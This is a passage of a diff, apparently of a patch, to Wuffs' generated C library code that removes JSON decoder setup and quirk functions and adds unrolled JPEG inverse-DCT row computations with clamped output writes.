WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ v_in2 = v_intermediate[18u]; -+ v_in6 = v_intermediate[22u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[16u]; -+ v_in4 = v_intermediate[20u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[17u]; -+ v_in3 = v_intermediate[19u]; -+ v_in5 = v_intermediate[21u]; -+ v_in7 = v_intermediate[23u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = -- wuffs_base__token_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = -- (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); -- return wuffs_base__make_status(NULL); --} -- --wuffs_json__decoder* --wuffs_json__decoder__alloc(void) { -- wuffs_json__decoder* x = -- (wuffs_json__decoder*)(calloc(sizeof(wuffs_json__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_json__decoder__initialize( -- x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -- --size_t --sizeof__wuffs_json__decoder(void) { -- return sizeof(wuffs_json__decoder); --} -- --// ---------------- Function Implementations -- --// -------- func json.decoder.get_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_json__decoder__get_quirk( -- const wuffs_json__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- uint32_t v_key = 0; -- -- if (a_key >= 1225364480u) { -- v_key = (a_key - 1225364480u); -- if (v_key < 21u) { -- if (self->private_impl.f_quirks[v_key]) { -- return 1u; -- } -+ if (0u == (v_intermediate[25u] | -+ v_intermediate[26u] | -+ v_intermediate[27u] | -+ v_intermediate[28u] | -+ v_intermediate[29u] | -+ v_intermediate[30u] | -+ v_intermediate[31u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -- } -- return 0u; --} -- --// -------- func json.decoder.set_quirk -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_json__decoder__set_quirk( -- wuffs_json__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- if (a_key >= 1225364480u) { -- a_key -= 1225364480u; -- if (a_key < 21u) { -- self->private_impl.f_quirks[a_key] = (a_value > 0u); -- return wuffs_base__make_status(NULL); -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[26u]; -+ v_in6 = v_intermediate[30u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[24u]; -+ v_in4 = v_intermediate[28u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[25u]; -+ v_in3 = v_intermediate[27u]; -+ v_in5 = v_intermediate[29u]; -+ v_in7 = v_intermediate[31u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); --} -- --// -------- func json.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_json__decoder__history_retain_length( -- const wuffs_json__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (0u == (v_intermediate[33u] | -+ v_intermediate[34u] | -+ v_intermediate[35u] | -+ v_intermediate[36u] | -+ v_intermediate[37u] | -+ v_intermediate[38u] | -+ v_intermediate[39u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[34u]; -+ v_in6 = v_intermediate[38u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[32u]; -+ v_in4 = v_intermediate[36u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[33u]; -+ v_in3 = v_intermediate[35u]; -+ v_in5 = v_intermediate[37u]; -+ v_in7 = v_intermediate[39u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- -- return 0u; --} -- --// -------- func json.decoder.workbuf_len -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_json__decoder__workbuf_len( -- const wuffs_json__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ if (0u == (v_intermediate[41u] | -+ v_intermediate[42u] | -+ v_intermediate[43u] | -+ v_intermediate[44u] | -+ v_intermediate[45u] | -+ v_intermediate[46u] | -+ v_intermediate[47u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[42u]; -+ v_in6 = v_intermediate[46u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[40u]; -+ v_in4 = v_intermediate[44u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[41u]; -+ v_in3 = v_intermediate[43u]; -+ v_in5 = v_intermediate[45u]; -+ v_in7 = v_intermediate[47u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ if (0u == (v_intermediate[49u] | -+ v_intermediate[50u] | -+ v_intermediate[51u] | -+ v_intermediate[52u] | -+ v_intermediate[53u] | -+ v_intermediate[54u] | -+ v_intermediate[55u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ } else { -+ v_in2 = v_intermediate[50u]; -+ v_in6 = v_intermediate[54u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[48u]; -+ v_in4 = v_intermediate[52u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[49u]; -+ v_in3 = v_intermediate[51u]; -+ v_in5 = v_intermediate[53u]; -+ v_in7 = v_intermediate[55u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); - } -- -- return wuffs_base__utility__empty_range_ii_u64(); -+ if (0u == (v_intermediate[57u] | -+ v_intermediate[58u] | -+ v_intermediate[59u] | -+ v_intermediate[60u] | -+ v_intermediate[61u] | -+ v_intermediate[62u] | -+ v_intermediate[63u])) { -+ if (8u > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -+ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -+ } else { -+ v_in2 = v_intermediate[58u]; -+ v_in6 = v_intermediate[62u]; -+ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -+ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -+ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -+ v_in0 = v_intermediate[56u]; -+ v_in4 = v_intermediate[60u]; -+ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -+ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -+ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -+ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -+ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -+ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -+ v_in1 = v_intermediate[57u]; -+ v_in3 = v_intermediate[59u]; -+ v_in5 = v_intermediate[61u]; -+ v_in7 = v_intermediate[63u]; -+ v_ri51 = ((uint32_t)(v_in5 + v_in1)); -+ v_ri53 = ((uint32_t)(v_in5 + v_in3)); -+ v_ri71 = ((uint32_t)(v_in7 + v_in1)); -+ v_ri73 = ((uint32_t)(v_in7 + v_in3)); -+ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 